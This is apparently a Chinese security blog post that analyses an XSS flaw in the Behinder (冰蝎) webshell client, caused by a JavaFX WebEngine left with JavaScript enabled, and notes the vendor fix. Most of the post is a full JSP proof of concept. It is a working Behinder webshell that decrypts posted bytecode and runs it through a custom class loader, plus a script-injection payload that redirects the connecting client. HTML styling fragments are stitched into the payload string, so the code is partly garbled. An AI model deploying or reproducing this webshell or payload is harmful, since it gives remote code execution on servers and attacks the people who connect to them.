免责声明:
本公众号致力于安全研究和红队攻防技术分享等内容,本文中所有涉及的内容均不针对任何厂商或个人,同时由于传播、利用本公众号所发布的技术或工具造成的任何直接或者间接的后果及损失,均由使用者本人承担。请遵守中华人民共和国相关法律法规,切勿利用本公众号发布的技术或工具从事违法犯罪活动。最后,文中提及的图文若无意间导致了侵权问题,请在公众号后台私信联系作者,进行删除操作。
0x01 前言
前几天已经被“冰蝎连接恶意Shell导致客户端RCE或任意读取”霸屏朋友圈了。这边我也斗胆分析了一波,并且给出一个纯娱乐的poc。
0x02 分析
根据网上流出来的视频,不难看出漏洞触发点在基本信息处,定位到漏洞点net.rebeyond.behinder.ui.controller.MainWindowController。
问题出在了javafx.scene.web.WebEngine没有禁止掉js,然而我们通过重写webshell的实现,可以控制返回给客户端的内容,这样就能够在客户端执行任意js代码。
关于javafx中WebEngine的使用可以参考这篇文章:https://www.tabnine.com/code/java/methods/javafx.scene.web.WebEngine/load、https://blog.csdn.net/weixin_43314519/article/details/109298065
0x03 漏洞修复
在新版本的冰蝎中,作者已经修复了这个问题,我们看下代码中禁用了webengine.setJavaScriptEnabled(false);
0x04 XSS POC
最后附上一个xss的poc:
<%@page
import
="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%@ page
import
="java.lang.reflect.Method" %>
<%@ page
import
="java.net.NetworkInterface" %>
<%@ page
import
="java.net.InetAddress" %>
<%@ page
import
="java.net.Inet4Address" %>
<%@ page
import
="java.lang.reflect.Method" %>
<%@ page
import
="java.util.*" %>
<%@ page
import
="java.io.File" %>
<%@ page
import
="java.net.NetworkInterface" %>
<%@ page
import
="java.net.InetAddress" %>
<%@ page
import
="java.net.Inet4Address" %>
<%@ page
import
="javax.crypto.spec.SecretKeySpec" %>
<%@ page
import
="javax.crypto.Cipher" %>
<%@ page
import
="java.nio.file.Files" %>
<%@ page
import
="java.nio.file.Paths" %>
<%@ page
import
="java.io.InputStreamReader" %>
<%@ page
import
="java.io.FileInputStream" %>
<%@ page
import
="java.io.BufferedReader" %>
<%!
class
U
extends
ClassLoader
{
U
(
ClassLoader
c
){
super
(
c
);
}
public
Class
g(byte []b){
return
super
.defineClass(b,
0
,b.length);
}}
%>
<%!
Boolean
isGetBaseinfo(byte[] mBaseData) {
byte[] src = new byte[]{
98
,
97
,
115
,
105
,
99
,
73
,
110
,
102
,
111
};
int i =
0
;
while
(i < mBaseData.length) {
if
(mBaseData[i] == src[
0
]) {
for
(int j =
0
; j <
9
; j = j +
1
) {
if
(mBaseData[i + j] == src[j] && j ==
8
) {
return
true
;
}
else
if
(mBaseData[i + j] != src[j]) {
break
;
}
}
i++;
}
else
{
i++;
}
}
return
false
;
}
%>
<%!
class
Rebeyond
{
private
Object
Request
;
private
Object
Response
;
private
Object
Session
;
private
String
key;
private
String
Filepath
;
private
String
Data
;
public
Rebeyond
(
String
key,
String
Filepath
,
String
Data
) {
this.key = key;
this.
Filepath
=
Filepath
;
this.
Data
=
Data
;
}
public
String
getData(
Object
obj) {
HashMap
result = new
HashMap
();
boolean var22 =
false
;
Object
so;
Method
write;
label132: {
try
{
var22 =
true
;
this.fillContext(obj);
StringBuilder
basicInfo = new
StringBuilder
(
"
环境变量:
"
);
Map
<
String
,
String
> env =
System
.getenv();
Iterator
var5 = env.keySet().iterator();
while
(var5.hasNext()) {
String
name = (
String
)var5.next();
basicInfo.append(name +
"="
+ (
String
)env.
get
(name) +
"
"
);
}
basicInfo.append(
"
JRE系统属性:
"
);
Properties
props =
System
.getProperties();
Set
<
Map
.
Entry
<
Object
,
Object
>> entrySet = props.entrySet();
Iterator
var7 = entrySet.iterator();
while
(var7.hasNext()) {
Map
.
Entry
<
Object
,
Object
> entry = (
Map
.
Entry
)var7.next();
basicInfo.append(entry.getKey() +
" = "
+ entry.getValue() +
"
"
);
}
String
currentPath = (new
File
(
""
)).getAbsolutePath();
String
driveList =
""
;
File
[] roots =
File
.listRoots();
File
[] var10 = roots;
int var11 = roots.length;
for
(int var12 =
0
; var12 < var11; ++var12) {
File
f = var10[var12];
driveList = driveList + f.getPath() +
";"
;
}
String
osInfo =
System
.getProperty(
"os.name"
) +
System
.getProperty(
"os.version"
) +
System
.getProperty(
"os.arch"
);
Map
<
String
,
String
> entity = new
HashMap
();
//xss设置
//xss设置
String
content =
""
;
StringBuilder
builder = new
StringBuilder
();
if
(this.
Filepath
!=
""
) {
File
file = new
File
(this.
Filepath
);
InputStreamReader
streamReader = new
InputStreamReader
(new
FileInputStream
(file),
"UTF-8"
);
BufferedReader
bufferedReader = new
BufferedReader
(streamReader);
while
((content = bufferedReader.
readLine
()) != null)
builder.append(content);
}
else
{
builder.append(this.
Data
);
}
entity.put(
"basicInfo"
, builder.
toString
());
entity.put(
"currentPath"
, currentPath);
entity.put(
"driveList"
, driveList);
entity.put(
"osInfo"
, osInfo);
entity.put(
"arch"
,
System
.getProperty(
"os.arch"
));
entity.put(
"localIp"
, this.getInnerIp());
result.put(
"status"
,
"success"
);
result.put(
"msg"
, this.buildJson(entity,
true
));
var22 =
false
;
break
label132;
}
catch
(
Exception
var26) {
var22 =
false
;
} finally {
if
(var22) {
try
{
return
new
String
(this.
Encrypt
(this.buildJson(result,
true
).getBytes(
"UTF-8"
)),
"UTF-8"
);
}
catch
(
Exception
var23) {
}
}
}
try
{
return
new
String
(this.
Encrypt
(this.buildJson(result,
true
).getBytes(
"UTF-8"
)),
"UTF-8"
);
}
catch
(
Exception
var24) {
}
}
try
{
return
new
String
(this.
Encrypt
(this.buildJson(result,
true
).getBytes(
"UTF-8"
)),
"UTF-8"
);
}
catch
(
Exception
var25) {
}
return
"asd"
;
}
private
String
getInnerIp() {
String
ips =
""
;
try
{
Enumeration
<
NetworkInterface
> netInterfaces =
NetworkInterface
.getNetworkInterfaces();
InetAddress
ip = null;
while
(netInterfaces.hasMoreElements()) {
NetworkInterface
netInterface = (
NetworkInterface
)netInterfaces.nextElement();
Enumeration
<
InetAddress
> addresses = netInterface.getInetAddresses();
while
(addresses.hasMoreElements()) {
ip = (
InetAddress
)addresses.nextElement();
if
(ip != null && ip instanceof
Inet4Address
) {
ips = ips + ip.getHostAddress() +
" "
;
}
}
}
}
catch
(
Exception
var6) {
}
ips = ips.replace(
"127.0.0.1"
,
""
).trim();
return
ips;
}
private
String
buildJson(
Map
<
String
,
String
> entity, boolean encode)
throws
Exception
{
StringBuilder
sb = new
StringBuilder
();
String
version =
System
.getProperty(
"java.version"
);
sb.append(
"{"
);
Iterator
var5 = entity.keySet().iterator();
while
(var5.hasNext()) {
String
key = (
String
)var5.next();
sb.append(
"""
+ key +
"":""
);
String
value = ((
String
)entity.
get
(key)).
toString
();
if
(encode) {
Class
Base64
;
Object
Encoder
;
if
(version.compareTo(
"1.9"
) >=
0
) {
this.getClass();
Base64
=
Class
.forName(
"java.util.Base64"
);
Encoder
=
Base64
.getMethod(
"getEncoder"
, (
Class
[])null).invoke(
Base64
, (
Object
[])null);
value = (
String
)
Encoder
.getClass().getMethod(
"encodeToString"
, byte[].
class
).invoke(
Encoder
, value.getBytes(
"UTF-8"
));
}
else
{
this.getClass();
Base64
=
Class
.forName(
"sun.misc.BASE64Encoder"
);
Encoder
=
Base64
.newInstance();
value = (
String
)
Encoder
.getClass().getMethod(
"encode"
, byte[].
class
).invoke(
Encoder
, value.getBytes(
"UTF-8"
));
value = value.replace(
"n"
,
""
).replace(
"r"
,
""
);
}
}
sb.append(value);
sb.append(
"","
);
}
sb.setLength(sb.length() -
1
);
sb.append(
"}"
);
return
sb.
toString
();
}
private
String
base64encode(byte[] data)
throws
Exception
{
String
result =
""
;
String
version =
System
.getProperty(
"java.version"
);
Class
Base64
;
try
{
this.getClass();
Base64
=
Class
.forName(
"java.util.Base64"
);
Object
Encoder
=
Base64
.getMethod(
"getEncoder"
, (
Class
[])null).invoke(
Base64
, (
Object
[])null);
result = (
String
)
Encoder
.getClass().getMethod(
"encodeToString"
, byte[].
class
).invoke(
Encoder
, data);
}
catch
(
Throwable
var7) {
this.getClass();
Base64
=
Class
.forName(
"sun.misc.BASE64Encoder"
);
Object
Encoder
=
Base64
.newInstance();
result = (
String
)
Encoder
.getClass().getMethod(
"encode"
, byte[].
class
).invoke(
Encoder
, data);
result = result.replace(
"n"
,
""
).replace(
"r"
,
""
);
}
return
result;
}
private
void fillContext(
Object
obj)
throws
Exception
{
if
(obj.getClass().getName().indexOf(
"PageContext"
) >=
0
) {
this.
Request
= obj.getClass().getMethod(
"getRequest"
).invoke(obj);
this.
Response
= obj.getClass().getMethod(
"getResponse"
).invoke(obj);
this.
Session
= obj.getClass().getMethod(
"getSession"
).invoke(obj);
}
else
{
Map
<
String
,
Object
> objMap = (
Map
)obj;
this.
Session
= objMap.
get
(
"session"
);
this.
Response
= objMap.
get
(
"response"
);
this.
Request
= objMap.
get
(
"request"
);
}
this.
Response
.getClass().getMethod(
"setCharacterEncoding"
,
String
.
class
).invoke(this.
Response
,
"UTF-8"
);
}
private
byte[] getMagic()
throws
Exception
{
String
key = this.
Session
.getClass().getMethod(
"getAttribute"
,
String
.
class
).invoke(this.
Session
,
"u"
).
toString
();
int magicNum =
Integer
.parseInt(key.substring(
0
,
2
),
16
) %
16
;
Random
random = new
Random
();
byte[] buf = new byte[magicNum];
for
(int i =
0
; i < buf.length; ++i) {
buf[i] = (byte)random.nextInt(
256
);
}
return
buf;
}
private
byte[]
Encrypt
(byte[] var1)
throws
Exception
{
String
var2 = this.key;
byte[] var3 = var2.getBytes(
"utf-8"
);
SecretKeySpec
var4 = new
SecretKeySpec
(var3,
"AES"
);
Cipher
var5 =
Cipher
.getInstance(
"AES/ECB/PKCS5Padding"
);
var5.
init
(
1
, var4);
byte[] var6 = var5.doFinal(var1);
Class
var7;
try
{
var7 =
Class
.forName(
"java.util.Base64"
);
Object
var8 = var7.getMethod(
"getEncoder"
, (
Class
[])null).invoke(var7, (
Object
[])null);
var6 = (byte[])var8.getClass().getMethod(
"encode"
, byte[].
class
).invoke(var8, var6);
}
catch
(
Throwable
var12) {
var7 =
Class
.forName(
"sun.misc.BASE64Encoder"
);
Object
var10 = var7.newInstance();
String
var11 = (
String
)var10.getClass().getMethod(
"encode"
, byte[].
class
).invoke(var10, var6);
var11 = var11.replace(
"n"
,
""
).replace(
"r"
,
""
);
var6 = var11.getBytes();
}
return
var6;
}
}
%>
<%
if
(request.getMethod().equals(
"POST"
)) {
String
k=
"e45e329feb5d925b"
;
/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue(
"u"
,k);
Cipher
c
=
Cipher
.getInstance(
"AES"
);
c
.
init
(
2
,new
SecretKeySpec
(k.getBytes(),
"AES"
));
byte[] data =
c
.doFinal(new sun.misc.
BASE64Decoder
().decodeBuffer(request.getReader().
readLine
()));
if
(isGetBaseinfo(data)){
String
Filepath
=
""
;
String
Data
=
" <>
"
</span></span><span style=
"mso-bookmark:X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a"
><span style=
"mso-style-parent: 'Verbatim Char'; mso-style-name: 'NormalTok'; font-family: Consolas;"
> </span></span><span style=
"mso-bookmark:X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a"
><span style=
"mso-style-parent: 'Verbatim Char'; mso-style-name: 'OperatorTok'; color: #666666; font-family: Consolas;"
>+</span></span><span style=
"mso-bookmark:X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a"
><span style=
"mso-style-parent: 'Verbatim Char'; mso-style-name: 'NormalTok'; font-family: Consolas;"
> </span></span><span style=
"mso-bookmark:X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a"
><span style=
"mso-style-parent: 'Verbatim Char'; mso-style-name: 'StringTok'; color: #4070A0; font-family: Consolas;"
>
"window.location.href = 'https://mp.weixin.qq.com/s/gk7w9ke54uqYi_oJQ-oypw';</span></span><span style="
mso-bookmark:
X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a
"><span style="
mso-style-parent: '
Verbatim
Char'
; mso-style-name: '
SpecialCharTok'
; color: #4070A0; font-family:
Consolas
;
">n</span></span><span style="
mso-bookmark:
X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a
"><span style="
mso-style-parent: '
Verbatim
Char'
; mso-style-name: '
StringTok'
; color: #4070A0; font-family:
Consolas
;
">"
</span></span><span style=
"mso-bookmark:X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a"
><span style=
"mso-style-parent: 'Verbatim Char'; mso-style-name: 'NormalTok'; font-family: Consolas;"
> </span></span><span style=
"mso-bookmark:X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a"
><span style=
"mso-style-parent: 'Verbatim Char'; mso-style-name: 'OperatorTok'; color: #666666; font-family: Consolas;"
>+</span></span><span style=
"mso-bookmark:X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a"
><span style=
"mso-style-parent: 'Verbatim Char'; mso-style-name: 'StringTok'; color: #4070A0; font-family: Consolas;"
>
"
"
;
Rebeyond
Rebeyond
= new
Rebeyond
(k,
Filepath
,
Data
);
String
data2 =
Rebeyond
.getData(pageContext);
Object
respones2 = pageContext.getClass().getMethod(
"getResponse"
).invoke(pageContext);
Object
so = respones2.getClass().getMethod(
"getOutputStream"
).invoke(respones2);
Method
write = so.getClass().getMethod(
"write"
, byte[].
class
);
write.invoke(so, data2.getBytes(
"UTF-8"
));
so.getClass().getMethod(
"flush"
).invoke(so);
so.getClass().getMethod(
"close"
).invoke(so);
}
else
{
new
U
(this.getClass().getClassLoader()).g(data).newInstance().equals(pageContext);
}
}%>
原文始发于微信公众号(Lambda小队):冰蝎漏洞分析另附娱乐向XSS poc
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论